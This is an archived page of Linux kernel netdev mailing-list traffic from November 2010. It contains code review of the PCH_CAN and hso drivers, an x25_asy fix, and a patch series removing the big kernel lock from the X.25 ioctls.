yong.y.wang-ral2JQCrhuEAvxtiuMwx3w,
socketcan-core-0fE9KPoRgkgATYTw5x5z8w,
kok.howg.ewe-ral2JQCrhuEAvxtiuMwx3w,
joel.clark-ral2JQCrhuEAvxtiuMwx3w, David S. Miller,
Wolfgang Grandegger, qi.wang-ral2JQCrhuEAvxtiuMwx3w
In-Reply-To: <001c01cb8c91$6e93aef0$66f8800a-a06+6cuVnkTSQfdrb5gaxUEOCMrvLtNR@public.gmane.org>
[-- Attachment #1.1: Type: text/plain, Size: 748 bytes --]
On 11/25/2010 12:10 PM, Tomoya MORINAGA wrote:
> On Wednesday, November 24, 2010 10:31 PM, Marc Kleine-Budde wrote :
>
>>> For easy to read, some sub-functions are created.
>>>
>>>
>>> Modify complex "goto" to do~while.
>> What about the next_flag in the rx_normal function? Can you get rid of
>> it, too?
> Subsequent Patch (11/17 Delete unnecessary ...) deletes "next_flag" in the rx_normal function.
Thanks, I've found the patch myself.
cheers, Marc
--
Pengutronix e.K. | Marc Kleine-Budde |
Industrial Linux Solutions | Phone: +49-231-2826-924 |
Vertretung West/Dortmund | Fax: +49-5121-206917-5555 |
Amtsgericht Hildesheim, HRA 2686 | http://www.pengutronix.de |
[-- Attachment #1.2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 262 bytes --]
[-- Attachment #2: Type: text/plain, Size: 188 bytes --]
_______________________________________________
Socketcan-core mailing list
Socketcan-core-0fE9KPoRgkgATYTw5x5z8w@public.gmane.org
https://lists.berlios.de/mailman/listinfo/socketcan-core
^ permalink raw reply
* Re: [PATCH net-next-2.6 v3] can: Topcliff: PCH_CAN driver: Add Flow control,
From: Tomoya MORINAGA @ 2010-11-25 12:03 UTC (permalink / raw)
To: Marc Kleine-Budde
Cc: andrew.chih.howe.khor-ral2JQCrhuEAvxtiuMwx3w, Samuel Ortiz,
margie.foster-ral2JQCrhuEAvxtiuMwx3w,
netdev-u79uwXL29TY76Z2rM5mHXA,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
yong.y.wang-ral2JQCrhuEAvxtiuMwx3w,
socketcan-core-0fE9KPoRgkgATYTw5x5z8w,
kok.howg.ewe-ral2JQCrhuEAvxtiuMwx3w,
joel.clark-ral2JQCrhuEAvxtiuMwx3w, qi.wang-ral2JQCrhuEAvxtiuMwx3w,
David S. Miller, Christian Pellegrin, Wolfgang Grandegger
In-Reply-To: <4CED0650.7030004@pengutronix.de>
On Wednesday, November 24, 2010 9:34 PM, Marc Kleine-Budde wrote :
>On 11/24/2010 01:09 AM, Tomoya MORINAGA wrote:
>> On Monday, November 22, 2010 5:27 PM, Marc Kleine-Budde wrote:
>>>>>>> Still we have the busy waiting in the TX path. Maybe you can move the
>>>>>>> waiting before accessing the if[1] and remove the busy waiting here.
>>>>>> I can't understand your saying.
>>>>>> For transmitting data, calling pch_can_rw_msg_obj is mandatory.
>>>>> Yes, but the busy wait is not needed. It should be enough to do the
>>>>> busy-waiting _before_ accessing the if[1].
>>>>
>>>> Do you mean we should create other pch_can_rw_msg_obj which doesn't have busy wait ?
>>> ACK, and this non busy waiting is use in the TX path. But you add a busy
>>> wait only function before accessing the if[1] in the TX path.
>>
>> The "busy waiting" of pch_can_rw_msg_obj is for next processing accesses to Message object.
>> If deleting this busy waiting, next processing can access to Message object, regardless previous transfer doesn't
>> complete yet.
>> Thus, I think, the "busy waiting" is necessary.
>
>Yes, it's necessary, but not where it is done currently.
>Let me outline how I think the TX path should look like:
>
>pch_xmit() {
> take_care_about_flow_control();
> prepare_can_frame_to_be_copied_to_tx_if();
>
> /* most likely we don't have to wait here */
> wait_until_tx_if_is_ready();
>
> copy_can_frame_to_tx_if();
>
> /* trigger tx in hardware */
> send_tx_if_but_dont_do_busywait();
>
> /* tx_if is busy now, but before we access it, we'll check tx_if is ready */
>}
This Tx path also has Read-Modify-Write for MessageRAM access.
Do you mean Tx path shouldn't have Read-Modify-Write ?
---
Thanks,
Tomoya MORINAGA
OKI SEMICONDUCTOR CO., LTD.
^ permalink raw reply
* Re: [PATCH 1/1] NET: wan/x25_asy, move lapb_unregister to x25_asy_close_tty
From: Jiri Slaby @ 2010-11-25 12:07 UTC (permalink / raw)
To: Andrew Hendry; +Cc: davem, netdev, slapin, linux-kernel
In-Reply-To: <AANLkTi=DEHOKkrvzHUBnW+rAkGz-uhizRqZb2PAuh4k-@mail.gmail.com>
On 11/25/2010 12:37 PM, Andrew Hendry wrote:
> Sorry I haven't used this driver so can't fully test it. Looks
> straightforward and compile tested ok.
>
> On Thu, Nov 25, 2010 at 10:54 AM, Jiri Slaby <jslaby@suse.cz> wrote:
>> We register lapb when tty is created, but unregister it only when the
>> device is UP. So move the lapb_unregister to x25_asy_close_tty after
>> the device is down.
I forgot to mention what it causes. The commit message should add:
The old behaviour causes ldisc switching to fail each second attempt,
because we noted for us that the device is unused, so we use it the
second time, but labp layer still have it registered, so it fails
obviously.
thanks,
--
js
^ permalink raw reply
* Re: [PATCH net-next-2.6 v3] can: Topcliff: PCH_CAN driver: Add Flow control,
From: Marc Kleine-Budde @ 2010-11-25 12:08 UTC (permalink / raw)
To: Tomoya MORINAGA
Cc: andrew.chih.howe.khor-ral2JQCrhuEAvxtiuMwx3w, Samuel Ortiz,
margie.foster-ral2JQCrhuEAvxtiuMwx3w,
netdev-u79uwXL29TY76Z2rM5mHXA,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
yong.y.wang-ral2JQCrhuEAvxtiuMwx3w,
socketcan-core-0fE9KPoRgkgATYTw5x5z8w,
kok.howg.ewe-ral2JQCrhuEAvxtiuMwx3w,
joel.clark-ral2JQCrhuEAvxtiuMwx3w, qi.wang-ral2JQCrhuEAvxtiuMwx3w,
David S. Miller, Christian Pellegrin, Wolfgang Grandegger
In-Reply-To: <001b01cb8c98$d06aaa00$66f8800a-a06+6cuVnkTSQfdrb5gaxUEOCMrvLtNR@public.gmane.org>
[-- Attachment #1.1: Type: text/plain, Size: 2247 bytes --]
On 11/25/2010 01:03 PM, Tomoya MORINAGA wrote:
> On Wednesday, November 24, 2010 9:34 PM, Marc Kleine-Budde wrote :
>> On 11/24/2010 01:09 AM, Tomoya MORINAGA wrote:
>>> On Monday, November 22, 2010 5:27 PM, Marc Kleine-Budde wrote:
>>>>>>>> Still we have the busy waiting in the TX path. Maybe you can move the
>>>>>>>> waiting before accessing the if[1] and remove the busy waiting here.
>>>>>>> I can't understand your saying.
>>>>>>> For transmitting data, calling pch_can_rw_msg_obj is mandatory.
>>>>>> Yes, but the busy wait is not needed. It should be enough to do the
>>>>>> busy-waiting _before_ accessing the if[1].
>>>>>
>>>>> Do you mean we should create other pch_can_rw_msg_obj which doesn't have busy wait ?
>>>> ACK, and this non busy waiting is use in the TX path. But you add a busy
>>>> wait only function before accessing the if[1] in the TX path.
>>>
>>> The "busy waiting" of pch_can_rw_msg_obj is for next processing accesses to Message object.
>>> If deleting this busy waiting, next processing can access to Message object, regardless previous transfer doesn't
>>> complete yet.
>>> Thus, I think, the "busy waiting" is necessary.
>>
>> Yes, it's necessary, but not where it is done currently.
>> Let me outline how I think the TX path should look like:
>>
>> pch_xmit() {
>> take_care_about_flow_control();
>> prepare_can_frame_to_be_copied_to_tx_if();
>>
>> /* most likely we don't have to wait here */
>> wait_until_tx_if_is_ready();
>>
>> copy_can_frame_to_tx_if();
>>
>> /* trigger tx in hardware */
>> send_tx_if_but_dont_do_busywait();
>>
>> /* tx_if is busy now, but before we access it, we'll check tx_if is ready */
>> }
>
> This Tx path also has Read-Modify-Write for MessageRAM access.
> Do you mean Tx path shouldn't have Read-Modify-Write ?
Why do you Read-Modify-Write for TX? Naively speaking you just need to
push your Data into a Mail/IF/Whatever and push the send button.
Marc
--
Pengutronix e.K. | Marc Kleine-Budde |
Industrial Linux Solutions | Phone: +49-231-2826-924 |
Vertretung West/Dortmund | Fax: +49-5121-206917-5555 |
Amtsgericht Hildesheim, HRA 2686 | http://www.pengutronix.de |
[-- Attachment #1.2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 262 bytes --]
[-- Attachment #2: Type: text/plain, Size: 188 bytes --]
_______________________________________________
Socketcan-core mailing list
Socketcan-core-0fE9KPoRgkgATYTw5x5z8w@public.gmane.org
https://lists.berlios.de/mailman/listinfo/socketcan-core
^ permalink raw reply
* [PATCH net-next 1/5] X25 remove bkl in subscription ioctls
From: Andrew Hendry @ 2010-11-25 12:18 UTC (permalink / raw)
To: netdev
Signed-off-by: Andrew Hendry <andrew.hendry@gmail.com>
---
include/net/x25.h | 2 ++
net/x25/af_x25.c | 12 ++++--------
net/x25/x25_link.c | 8 ++++++--
3 files changed, 12 insertions(+), 10 deletions(-)
diff --git a/include/net/x25.h b/include/net/x25.h
index 1479cb4..a06119a 100644
--- a/include/net/x25.h
+++ b/include/net/x25.h
@@ -315,6 +315,8 @@ extern struct list_head x25_route_list;
extern rwlock_t x25_route_list_lock;
extern struct list_head x25_forward_list;
extern rwlock_t x25_forward_list_lock;
+extern struct list_head x25_neigh_list;
+extern rwlock_t x25_neigh_list_lock;
extern int x25_proc_init(void);
extern void x25_proc_exit(void);
diff --git a/net/x25/af_x25.c b/net/x25/af_x25.c
index 2351ace..45be72c 100644
--- a/net/x25/af_x25.c
+++ b/net/x25/af_x25.c
@@ -1415,17 +1415,13 @@ static int x25_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
rc = x25_route_ioctl(cmd, argp);
break;
case SIOCX25GSUBSCRIP:
- lock_kernel();
rc = x25_subscr_ioctl(cmd, argp);
- unlock_kernel();
break;
case SIOCX25SSUBSCRIP:
rc = -EPERM;
if (!capable(CAP_NET_ADMIN))
break;
- lock_kernel();
rc = x25_subscr_ioctl(cmd, argp);
- unlock_kernel();
break;
case SIOCX25GFACILITIES: {
struct x25_facilities fac = x25->facilities;
@@ -1646,16 +1642,20 @@ static int compat_x25_subscr_ioctl(unsigned int cmd,
dev_put(dev);
if (cmd == SIOCX25GSUBSCRIP) {
+ read_lock_bh(&x25_neigh_list_lock);
x25_subscr.extended = nb->extended;
x25_subscr.global_facil_mask = nb->global_facil_mask;
+ read_unlock_bh(&x25_neigh_list_lock);
rc = copy_to_user(x25_subscr32, &x25_subscr,
sizeof(*x25_subscr32)) ? -EFAULT : 0;
} else {
rc = -EINVAL;
if (x25_subscr.extended == 0 || x25_subscr.extended == 1) {
rc = 0;
+ write_lock_bh(&x25_neigh_list_lock);
nb->extended = x25_subscr.extended;
nb->global_facil_mask = x25_subscr.global_facil_mask;
+ write_unlock_bh(&x25_neigh_list_lock);
}
}
x25_neigh_put(nb);
@@ -1711,17 +1711,13 @@ static int compat_x25_ioctl(struct socket *sock, unsigned int cmd,
rc = x25_route_ioctl(cmd, argp);
break;
case SIOCX25GSUBSCRIP:
- lock_kernel();
rc = compat_x25_subscr_ioctl(cmd, argp);
- unlock_kernel();
break;
case SIOCX25SSUBSCRIP:
rc = -EPERM;
if (!capable(CAP_NET_ADMIN))
break;
- lock_kernel();
rc = compat_x25_subscr_ioctl(cmd, argp);
- unlock_kernel();
break;
case SIOCX25GFACILITIES:
case SIOCX25SFACILITIES:
diff --git a/net/x25/x25_link.c b/net/x25/x25_link.c
index 73e7b95..4c81f6a 100644
--- a/net/x25/x25_link.c
+++ b/net/x25/x25_link.c
@@ -31,8 +31,8 @@
#include <linux/init.h>
#include <net/x25.h>
-static LIST_HEAD(x25_neigh_list);
-static DEFINE_RWLOCK(x25_neigh_list_lock);
+LIST_HEAD(x25_neigh_list);
+DEFINE_RWLOCK(x25_neigh_list_lock);
static void x25_t20timer_expiry(unsigned long);
@@ -360,16 +360,20 @@ int x25_subscr_ioctl(unsigned int cmd, void __user *arg)
dev_put(dev);
if (cmd == SIOCX25GSUBSCRIP) {
+ read_lock_bh(&x25_neigh_list_lock);
x25_subscr.extended = nb->extended;
x25_subscr.global_facil_mask = nb->global_facil_mask;
+ read_unlock_bh(&x25_neigh_list_lock);
rc = copy_to_user(arg, &x25_subscr,
sizeof(x25_subscr)) ? -EFAULT : 0;
} else {
rc = -EINVAL;
if (!(x25_subscr.extended && x25_subscr.extended != 1)) {
rc = 0;
+ write_lock_bh(&x25_neigh_list_lock);
nb->extended = x25_subscr.extended;
nb->global_facil_mask = x25_subscr.global_facil_mask;
+ write_unlock_bh(&x25_neigh_list_lock);
}
}
x25_neigh_put(nb);
--
1.7.1
^ permalink raw reply related
* Re: [PATCH] hso: fix disable_net
From: Sergei Shtylyov @ 2010-11-25 12:16 UTC (permalink / raw)
To: Filip Aben; +Cc: davem, linux-usb, netdev, jhovold, pki, j.dumon
In-Reply-To: <1290627352.1739.19.camel@filip-linux>
Hello.
On 24-11-2010 22:35, Filip Aben wrote:
> The HSO driver incorrectly creates a serial device instead of a net
> device when disable_net is set. It shouldn't create anything for the
> network interface.
> Signed-off-by: Filip Aben <f.aben@option.com>
> ---
> diff --git a/drivers/net/usb/hso.c b/drivers/net/usb/hso.c
> index b154a94..b05c235 100644
> --- a/drivers/net/usb/hso.c
> +++ b/drivers/net/usb/hso.c
> @@ -2994,10 +2994,10 @@ static int hso_probe(struct usb_interface *interface,
>
> case HSO_INTF_BULK:
> /* It's a regular bulk interface */
> - if (((port_spec& HSO_PORT_MASK) == HSO_PORT_NETWORK)&&
> - !disable_net)
> + if ((port_spec& HSO_PORT_MASK) == HSO_PORT_NETWORK) {
> + if(!disable_net)
Don't use spaces for indentation.
WBR, Sergei
^ permalink raw reply
* [PATCH net-next 2/5] X25 remove bkl in facility ioctls
From: Andrew Hendry @ 2010-11-25 12:18 UTC (permalink / raw)
To: netdev
Signed-off-by: Andrew Hendry <andrew.hendry@gmail.com>
---
net/x25/af_x25.c | 48 +++++++++++++++++++++++++-----------------------
1 files changed, 25 insertions(+), 23 deletions(-)
diff --git a/net/x25/af_x25.c b/net/x25/af_x25.c
index 45be72c..2518efa 100644
--- a/net/x25/af_x25.c
+++ b/net/x25/af_x25.c
@@ -1424,34 +1424,34 @@ static int x25_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
rc = x25_subscr_ioctl(cmd, argp);
break;
case SIOCX25GFACILITIES: {
- struct x25_facilities fac = x25->facilities;
- lock_kernel();
- rc = copy_to_user(argp, &fac,
- sizeof(fac)) ? -EFAULT : 0;
- unlock_kernel();
+ lock_sock(sk);
+ rc = copy_to_user(argp, &x25->facilities,
+ sizeof(x25->facilities))
+ ? -EFAULT : 0;
+ release_sock(sk);
break;
}
case SIOCX25SFACILITIES: {
struct x25_facilities facilities;
rc = -EFAULT;
- lock_kernel();
if (copy_from_user(&facilities, argp,
sizeof(facilities)))
break;
rc = -EINVAL;
+ lock_sock(sk);
if (sk->sk_state != TCP_LISTEN &&
sk->sk_state != TCP_CLOSE)
- break;
+ goto out_fac_release;
if (facilities.pacsize_in < X25_PS16 ||
facilities.pacsize_in > X25_PS4096)
- break;
+ goto out_fac_release;
if (facilities.pacsize_out < X25_PS16 ||
facilities.pacsize_out > X25_PS4096)
- break;
+ goto out_fac_release;
if (facilities.winsize_in < 1 ||
facilities.winsize_in > 127)
- break;
+ goto out_fac_release;
if (facilities.throughput) {
int out = facilities.throughput & 0xf0;
int in = facilities.throughput & 0x0f;
@@ -1459,27 +1459,28 @@ static int x25_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
facilities.throughput |=
X25_DEFAULT_THROUGHPUT << 4;
else if (out < 0x30 || out > 0xD0)
- break;
+ goto out_fac_release;
if (!in)
facilities.throughput |=
X25_DEFAULT_THROUGHPUT;
else if (in < 0x03 || in > 0x0D)
- break;
+ goto out_fac_release;
}
if (facilities.reverse &&
(facilities.reverse & 0x81) != 0x81)
- break;
+ goto out_fac_release;
x25->facilities = facilities;
rc = 0;
- unlock_kernel();
+out_fac_release:
+ release_sock(sk);
break;
}
case SIOCX25GDTEFACILITIES: {
- lock_kernel();
+ lock_sock(sk);
rc = copy_to_user(argp, &x25->dte_facilities,
sizeof(x25->dte_facilities));
- unlock_kernel();
+ release_sock(sk);
if (rc)
rc = -EFAULT;
break;
@@ -1488,24 +1489,25 @@ static int x25_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
case SIOCX25SDTEFACILITIES: {
struct x25_dte_facilities dtefacs;
rc = -EFAULT;
- lock_kernel();
if (copy_from_user(&dtefacs, argp, sizeof(dtefacs)))
break;
rc = -EINVAL;
+ lock_sock(sk);
if (sk->sk_state != TCP_LISTEN &&
sk->sk_state != TCP_CLOSE)
- break;
+ goto out_dtefac_release;
if (dtefacs.calling_len > X25_MAX_AE_LEN)
- break;
+ goto out_dtefac_release;
if (dtefacs.calling_ae == NULL)
- break;
+ goto out_dtefac_release;
if (dtefacs.called_len > X25_MAX_AE_LEN)
- break;
+ goto out_dtefac_release;
if (dtefacs.called_ae == NULL)
- break;
+ goto out_dtefac_release;
x25->dte_facilities = dtefacs;
rc = 0;
- unlock_kernel();
+out_dtefac_release:
+ release_sock(sk);
break;
}
--
1.7.1
^ permalink raw reply related
* [PATCH net-next 3/5] X25 remove bkl from calluserdata ioctls
From: Andrew Hendry @ 2010-11-25 12:18 UTC (permalink / raw)
To: netdev
Signed-off-by: Andrew Hendry <andrew.hendry@gmail.com>
---
net/x25/af_x25.c | 14 +++++++-------
1 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/net/x25/af_x25.c b/net/x25/af_x25.c
index 2518efa..e2eea0a 100644
--- a/net/x25/af_x25.c
+++ b/net/x25/af_x25.c
@@ -1512,11 +1512,11 @@ out_dtefac_release:
}
case SIOCX25GCALLUSERDATA: {
- struct x25_calluserdata cud = x25->calluserdata;
- lock_kernel();
- rc = copy_to_user(argp, &cud,
- sizeof(cud)) ? -EFAULT : 0;
- unlock_kernel();
+ lock_sock(sk);
+ rc = copy_to_user(argp, &x25->calluserdata,
+ sizeof(x25->calluserdata))
+ ? -EFAULT : 0;
+ release_sock(sk);
break;
}
@@ -1524,15 +1524,15 @@ out_dtefac_release:
struct x25_calluserdata calluserdata;
rc = -EFAULT;
- lock_kernel();
if (copy_from_user(&calluserdata, argp,
sizeof(calluserdata)))
break;
rc = -EINVAL;
if (calluserdata.cudlength > X25_MAX_CUD_LEN)
break;
+ lock_sock(sk);
x25->calluserdata = calluserdata;
- unlock_kernel();
+ release_sock(sk);
rc = 0;
break;
}
--
1.7.1
^ permalink raw reply related
* [PATCH net-next 4/5] X25 remove bkl from causediag ioctls
From: Andrew Hendry @ 2010-11-25 12:18 UTC (permalink / raw)
To: netdev
Signed-off-by: Andrew Hendry <andrew.hendry@gmail.com>
---
net/x25/af_x25.c | 15 +++++++--------
1 files changed, 7 insertions(+), 8 deletions(-)
diff --git a/net/x25/af_x25.c b/net/x25/af_x25.c
index e2eea0a..8cfc419 100644
--- a/net/x25/af_x25.c
+++ b/net/x25/af_x25.c
@@ -1538,23 +1538,22 @@ out_dtefac_release:
}
case SIOCX25GCAUSEDIAG: {
- struct x25_causediag causediag;
- lock_kernel();
- causediag = x25->causediag;
- rc = copy_to_user(argp, &causediag,
- sizeof(causediag)) ? -EFAULT : 0;
- unlock_kernel();
+ lock_sock(sk);
+ rc = copy_to_user(argp, &x25->causediag,
+ sizeof(x25->causediag))
+ ? -EFAULT : 0;
+ release_sock(sk);
break;
}
case SIOCX25SCAUSEDIAG: {
struct x25_causediag causediag;
rc = -EFAULT;
- lock_kernel();
if (copy_from_user(&causediag, argp, sizeof(causediag)))
break;
+ lock_sock(sk);
x25->causediag = causediag;
- unlock_kernel();
+ release_sock(sk);
rc = 0;
break;
--
1.7.1
^ permalink raw reply related
* [PATCH net-next 5/5] X25 remove bkl in call user data length ioctl
From: Andrew Hendry @ 2010-11-25 12:18 UTC (permalink / raw)
To: netdev
Signed-off-by: Andrew Hendry <andrew.hendry@gmail.com>
---
net/x25/af_x25.c | 11 ++++++-----
1 files changed, 6 insertions(+), 5 deletions(-)
diff --git a/net/x25/af_x25.c b/net/x25/af_x25.c
index 8cfc419..ad96ee9 100644
--- a/net/x25/af_x25.c
+++ b/net/x25/af_x25.c
@@ -1562,19 +1562,20 @@ out_dtefac_release:
case SIOCX25SCUDMATCHLEN: {
struct x25_subaddr sub_addr;
rc = -EINVAL;
- lock_kernel();
+ lock_sock(sk);
if(sk->sk_state != TCP_CLOSE)
- break;
+ goto out_cud_release;
rc = -EFAULT;
if (copy_from_user(&sub_addr, argp,
sizeof(sub_addr)))
- break;
+ goto out_cud_release;
rc = -EINVAL;
if(sub_addr.cudmatchlength > X25_MAX_CUD_LEN)
- break;
+ goto out_cud_release;
x25->cudmatchlength = sub_addr.cudmatchlength;
- unlock_kernel();
rc = 0;
+out_cud_release:
+ release_sock(sk);
break;
}
--
1.7.1
^ permalink raw reply related
* Re: [PATCH] hso: fix disable_net
From: Sergei Shtylyov @ 2010-11-25 12:17 UTC (permalink / raw)
To: Filip Aben; +Cc: davem, linux-usb, netdev, jhovold, pki, j.dumon
In-Reply-To: <1290627352.1739.19.camel@filip-linux>
On 24-11-2010 22:35, Filip Aben wrote:
> The HSO driver incorrectly creates a serial device instead of a net
> device when disable_net is set. It shouldn't create anything for the
> network interface.
> Signed-off-by: Filip Aben <f.aben@option.com>
> ---
> diff --git a/drivers/net/usb/hso.c b/drivers/net/usb/hso.c
> index b154a94..b05c235 100644
> --- a/drivers/net/usb/hso.c
> +++ b/drivers/net/usb/hso.c
> @@ -2994,10 +2994,10 @@ static int hso_probe(struct usb_interface *interface,
>
> case HSO_INTF_BULK:
> /* It's a regular bulk interface */
> - if (((port_spec& HSO_PORT_MASK) == HSO_PORT_NETWORK)&&
> - !disable_net)
> + if ((port_spec& HSO_PORT_MASK) == HSO_PORT_NETWORK) {
> + if(!disable_net)
> hso_dev = hso_create_net_device(interface, port_spec);
> - else
> + } else
There should now be {} on the *else* branch too, according to CodingStyle.
> hso_dev =
> hso_create_bulk_serial_device(interface, port_spec);
> if (!hso_dev)
WBR, Sergei
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox